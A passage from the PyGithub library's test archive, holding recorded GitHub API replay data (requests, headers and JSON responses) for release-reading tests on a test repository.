n123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28524234/assets {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4819'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c449792f39dd324adcc99059786c1459"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE96:0300:9021C:199C7A:5F0D54BE')] [{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}] https GET api.github.com None /repos/rickrickston123/RepoTest/releases/assets/22848494 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4818'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b3f0eb974ec883013950ac7199769f0d"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:18 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE9E:6280:A2CAA6:111B601:5F0D54BE')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseRead.testGetLatestRelease.txt0000644000175100001660000003375614756101563025205 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4817'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BEA4:5E2C:94608D:10234C2:5F0D54BF')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4816'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BEAC:3E97:D109C:248EB3:5F0D54BF')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/latest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:23 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4815'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BEB4:5E2B:554242:BECFAC:5F0D54BF')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseRead.testGetRelease.txt0000644000175100001660000006774414756101563024034 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4814'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BEBC:7F2D:801366:E461BD:5F0D54C0')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4813'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BEC4:7FEF:13A0F4:38633E:5F0D54C0')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_i